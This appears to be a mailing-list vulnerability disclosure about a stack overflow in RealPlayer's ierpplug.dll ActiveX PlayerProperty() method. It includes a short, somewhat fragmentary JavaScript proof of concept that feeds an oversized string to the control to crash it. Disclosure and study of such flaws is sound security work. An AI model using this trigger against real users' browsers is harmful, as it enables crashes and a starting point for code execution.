After some creative Googling, I am revising my original post. I believe that
the Import() method overflow that I originally posted is really
http://www.securityfocus.com/bid/26130, although I am not sure why Linux is
listed under the "Vulnerable" section, so I am taking it out of the PoC code.
Real claims to have patched this back in October, but I can still throw a stack
overflow exception via this function using the originally stated version of
RealPlayer(which I installed last night). I am now listing this vulnerability
as RealNetworks RealPlayer ierpplug.dll ActiveX Control PlayerProperty() Method
Stack Overflow, and it might be wise to list this under a separate BID. PoC as
follows:
-------------

var s = "AAAA";
while (s.length < 999999) s=s+s;
var obj = new ActiveXObject("IERPCTL.IERPCTL");
//{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}
var obj2 = obj.PlayerProperty(s);
}
</script>

<body onload="JavaScript: return Check();">
